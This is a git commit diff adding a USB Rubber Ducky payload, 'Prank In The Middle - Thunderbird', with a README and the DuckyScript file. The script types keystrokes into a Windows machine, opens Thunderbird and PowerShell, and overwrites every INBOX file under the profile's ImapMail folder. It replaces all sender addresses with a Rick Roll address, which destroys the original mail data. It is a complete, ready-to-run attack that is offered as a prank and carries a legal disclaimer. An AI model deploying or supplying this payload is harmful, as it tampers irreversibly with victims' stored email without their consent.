Prank In The Middle - Thunderbird
The name of the payload `Prank In The Middle` is named after the pun Prank + Man In The Middle in that this operation, in some ways, can remotely be configured as a MITM attack but since it was created specifically for playful purposes then here is the reason for the union with the word Prank. I don't know if anyone else has uploaded the same thing in the past, so apologies if it already exists.pull/453/head
parent
efc5dc983d
commit
f2e1f66bc6
Binary file not shown.
After Width: | Height: | Size: 10 KiB |
|
@ -0,0 +1,167 @@
|
|||
# Prank In The Middle - Thunderbird
|
||||
|
||||
The name of the payload `Prank In The Middle` is named after the pun Prank + Man In The Middle in that this operation, in some ways, can remotely be configured as a MITM attack but since it was created specifically for playful purposes then here is the reason for the union with the word Prank.
|
||||
|
||||
**Category**: Prank
|
||||
|
||||
**Plug-And-Play** ^^
|
||||
|
||||
## Index
|
||||
|
||||
- [Description](#description)
|
||||
- [Requirements](#requirements)
|
||||
- [How the Program Works](#how-the-program-works)
|
||||
- [Code Details](#code-details)
|
||||
- [System Detection && Short Start DELAY](#system-detection--short-start-delay)
|
||||
- [Navigating in Thunderbird](#navigating-in-thunderbird)
|
||||
- [Opening PowerShell and Email Manipulation](#opening-powershell-and-email-manipulation)
|
||||
- [The Regex](#the-regex)
|
||||
- [Notes](#notes)
|
||||
- [Credits](#credits)
|
||||
|
||||
## Description
|
||||
|
||||
This program automates a series of actions on a Windows system (*tested on Windows 10 but should works in Windows 11*) to manipulate the contents of emails found in a Thunderbird profile. Specifically, it identifies emails in the `INBOX` file of each configured email account and replaces the sender's email addresses with a fictitious address `Rick.Roll@tinyurl.com/prinkrollme` where `prinkrollme` is the union of the words `Prank`, `Rick Roll` and `Me` (*this one was necessary becouse prinkwoll era già stato preso* **:c** *so sad...* ) all compressed into the link `tinyurl.com/prinkrollme` ([*3° note*](#notes)) that redirect to the YouTube video `https://www.youtube.com/watch?v=xMHJGd3wwZk`.
|
||||
|
||||
![](./1.PNG)
|
||||
|
||||
## Requirements
|
||||
|
||||
- A Windows system with Thunderbird installed.
|
||||
- Access to PowerShell.
|
||||
- Permissions to run code in Powershell
|
||||
|
||||
## Test Environment
|
||||
|
||||
- Thunderbird 115.11.1 (64 bit)
|
||||
- Windows 10 Pro
|
||||
|
||||
## How the Program Works
|
||||
|
||||
1. **System Detection:** The program detects if the system reflects the CAPSLOCK state and sets a dynamic delay based on this.
|
||||
2. **Opening Thunderbird:** Uses a series of commands to open Thunderbird and navigate to the profile folder settings.
|
||||
3. **Copying the Profile Folder Path:** Copies the profile folder path to the clipboard.
|
||||
4. **Opening PowerShell:** Opens a PowerShell window and navigates to the `ImapMail` folder of the Thunderbird profile.
|
||||
5. **Email Manipulation:** Uses PowerShell to:
|
||||
- Find all `INBOX` folders within `ImapMail`.
|
||||
- Read the contents of the emails in `INBOX`.
|
||||
- Replace the sender addresses with `Rick Roll <Rick.Roll@tinyurl.com/prinkrollme>`.
|
||||
- Save the modified content back to the original email files.
|
||||
|
||||
## Code Details
|
||||
|
||||
### System Detection && Short Start DELAY
|
||||
|
||||
```plaintext
|
||||
EXTENSION DETECT_READY
|
||||
REM VERSION 1.1
|
||||
REM AUTHOR: Korben
|
||||
...
|
||||
DEFINE #RESPONSE_DELAY 25
|
||||
DEFINE #ITERATION_LIMIT 120
|
||||
|
||||
VAR $C = 0
|
||||
WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))
|
||||
CAPSLOCK
|
||||
DELAY #RESPONSE_DELAY
|
||||
$C = ($C + 1)
|
||||
END_WHILE
|
||||
CAPSLOCK
|
||||
END_EXTENSION
|
||||
```
|
||||
|
||||
### Navigating in Thunderbird
|
||||
|
||||
```plaintext
|
||||
WIN r
|
||||
STRING thunderbird
|
||||
ENTER
|
||||
DELAY 1000
|
||||
REPEAT 4 TAB
|
||||
ENTER
|
||||
DELAY 500
|
||||
REPEAT 2 UPARROW
|
||||
ENTER
|
||||
DELAY 500
|
||||
REPEAT 3 UPARROW
|
||||
ENTER
|
||||
DELAY 500
|
||||
REPEAT 11 TAB
|
||||
ENTER
|
||||
DELAY 500
|
||||
REPEAT 4 TAB
|
||||
SPACEBAR
|
||||
ENTER
|
||||
CTRL c
|
||||
ALT F4
|
||||
```
|
||||
|
||||
### Opening PowerShell and Email Manipulation
|
||||
|
||||
```plaintext
|
||||
WIN r
|
||||
STRING powershell
|
||||
ENTER
|
||||
DELAY 1500
|
||||
STRING cd
|
||||
CTRL v
|
||||
ENTER
|
||||
|
||||
STRINGLN
|
||||
cd ImapMail
|
||||
$directories = Get-ChildItem -Directory | Select-Object FullName
|
||||
foreach ($dir in $directories) {
|
||||
$newPath = $dir.FullName -replace '\\', '/'
|
||||
$newPath += "/INBOX"
|
||||
if (Test-Path $newPath) {
|
||||
$emails = Get-Content -Path $newPath -Raw
|
||||
$modifiedEmails = $emails -replace "From:\s.*\s<(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|`"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*`")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\[(?:(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9]))\.){3}(?:(2(5[0-5]|[0-4][0-9])|[1-9]?[0-9])|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])>", "From: Rick Roll <Rick.Roll@tinyurl.com/prinkrollme>"
|
||||
Set-Content -Path $newPath -Value $modifiedEmails -Force
|
||||
}
|
||||
}
|
||||
END_STRINGLN
|
||||
DELAY 1000
|
||||
ALT F4
|
||||
```
|
||||
|
||||
### The Regex
|
||||
|
||||
The regex was not created from scratch but was taken from the discussion “[How can I validate an email address using a regular expression?](https://stackoverflow.com/questions/201323/how-can-i-validate-an-email-address-using-a-regular-expression)” posted on **StackOverflow**.
|
||||
|
||||
```plaintext
|
||||
(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|`"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*`")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\[(?:(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9]))\.){3}(?:(2(5[0-5]|[0-4][0-9])|[1-9]?[0-9])|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])
|
||||
```
|
||||
|
||||
The only difference is the addition of `**From: <...>**` which reduces to just the email addresses that sent the emails and not all addresses detected in the file that might depict other references
|
||||
|
||||
```plaintext
|
||||
From:\s.*\s<...>
|
||||
```
|
||||
|
||||
## Notes
|
||||
|
||||
1) This program was created for educational and demonstrative purposes. Unauthorized alteration of emails is illegal, and violating others' privacy is a crime.
|
||||
2) Ensure you have the necessary permissions before running any script that modifies personal or sensitive data.
|
||||
3) Considering [Staged Payloads](https://github.com/hak5/usbrubberducky-payloads?tab=readme-ov-file#staged-payloads), generally, it is not possible to include code that downloads from external sources. In this case, however, the setup involves a redirect to a YouTube video, which has been conveniently shortened using `tiny.url`. It is important to note that this redirect can be modified, and I strongly recommend changing it to a personal link for your security. While I assure you that I will never alter the link, no one can guarantee that I won't be compromised, allowing someone else to alter the redirect. It is always advisable and a good practice to never use links found online without understanding the actual redirect and replacing it with your own link.
|
||||
|
||||
## Credits
|
||||
|
||||
<h2 align="center"><a href="https://aleff-gitlab.gitlab.io/">Aleff</a></h2>
|
||||
<div align=center>
|
||||
<table>
|
||||
<tr>
|
||||
<td align="center" width="96">
|
||||
<a href="https://github.com/aleff-github">
|
||||
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width="48" height="48" />
|
||||
</a>
|
||||
<br>Github
|
||||
</td>
|
||||
<td align="center" width="96">
|
||||
<a href="https://www.linkedin.com/in/alessandro-greco-aka-aleff/">
|
||||
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width="48" height="48" />
|
||||
</a>
|
||||
<br>Linkedin
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
|
@ -0,0 +1,110 @@
|
|||
REM #####################################################
|
||||
REM # #
|
||||
REM # Title : Prank In The Middle - Thunderbird #
|
||||
REM # Author : Aleff #
|
||||
REM # Version : 1.0 #
|
||||
REM # Category : Prank #
|
||||
REM # Target : Windows 10/11 #
|
||||
REM # #
|
||||
REM #####################################################
|
||||
|
||||
EXTENSION DETECT_READY
|
||||
REM VERSION 1.1
|
||||
REM AUTHOR: Korben
|
||||
|
||||
REM_BLOCK DOCUMENTATION
|
||||
USAGE:
|
||||
Extension runs inline (here)
|
||||
Place at beginning of payload (besides ATTACKMODE) to act as dynamic
|
||||
boot delay
|
||||
|
||||
TARGETS:
|
||||
Any system that reflects CAPSLOCK will detect minimum required delay
|
||||
Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms
|
||||
END_REM
|
||||
|
||||
REM CONFIGURATION:
|
||||
DEFINE #RESPONSE_DELAY 25
|
||||
DEFINE #ITERATION_LIMIT 120
|
||||
|
||||
VAR $C = 0
|
||||
WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT))
|
||||
CAPSLOCK
|
||||
DELAY #RESPONSE_DELAY
|
||||
$C = ($C + 1)
|
||||
END_WHILE
|
||||
CAPSLOCK
|
||||
END_EXTENSION
|
||||
|
||||
REM Open Thunderbird and goto settings
|
||||
WIN r
|
||||
STRING thunderbird
|
||||
ENTER
|
||||
DELAY 1000
|
||||
REPEAT 4 TAB
|
||||
ENTER
|
||||
DELAY 500
|
||||
REPEAT 2 UPARROW
|
||||
ENTER
|
||||
DELAY 500
|
||||
REPEAT 3 UPARROW
|
||||
ENTER
|
||||
DELAY 500
|
||||
|
||||
REM Goto profile directory
|
||||
REPEAT 11 TAB
|
||||
ENTER
|
||||
DELAY 500
|
||||
|
||||
REM Copy the directory path
|
||||
REPEAT 4 TAB
|
||||
DELAY 500
|
||||
SPACEBAR
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
CTRL c
|
||||
DELAY 500
|
||||
ALT F4
|
||||
DELAY 500
|
||||
|
||||
REM Open the powershell and goto the directory
|
||||
WIN r
|
||||
STRING powershell
|
||||
ENTER
|
||||
DELAY 1500
|
||||
STRING cd
|
||||
DELAY 500
|
||||
CTRL v
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 500
|
||||
|
||||
REM Get the INBOX content and edit it overwriting. Then close the powershell
|
||||
STRINGLN
|
||||
cd ImapMail
|
||||
$directories = Get-ChildItem -Directory | Select-Object FullName
|
||||
foreach ($dir in $directories) {
|
||||
# Replace backslashes with slash
|
||||
$newPath = $dir.FullName -replace '\\', '/'
|
||||
|
||||
# Add the sub-string “/INBOX” to the end
|
||||
$newPath += "/INBOX"
|
||||
|
||||
# Check whether the INBOX file exists
|
||||
if (Test-Path $newPath) {
|
||||
# Check whether the INBOX file exists
|
||||
$emails = Get-Content -Path $newPath -Raw
|
||||
|
||||
# Replace email sender with Rick Roll!
|
||||
# The following operation is simplified and assumes that the sender starts with “From: ...”
|
||||
# and does not contain complex MIME structures
|
||||
$modifiedEmails = $emails -replace "From:\s.*\s<(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|`"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*`")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\[(?:(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9]))\.){3}(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9])|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])>", "From: Rick Roll <Rick.Roll@tinyurl.com/prinkrollme>"
|
||||
|
||||
# Write the modified content into the INBOX file.
|
||||
Set-Content -Path $newPath -Value $modifiedEmails -Force
|
||||
}
|
||||
}
|
||||
END_STRINGLN
|
||||
DELAY 1000
|
||||
ALT F4
|
Loading…
Reference in New Issue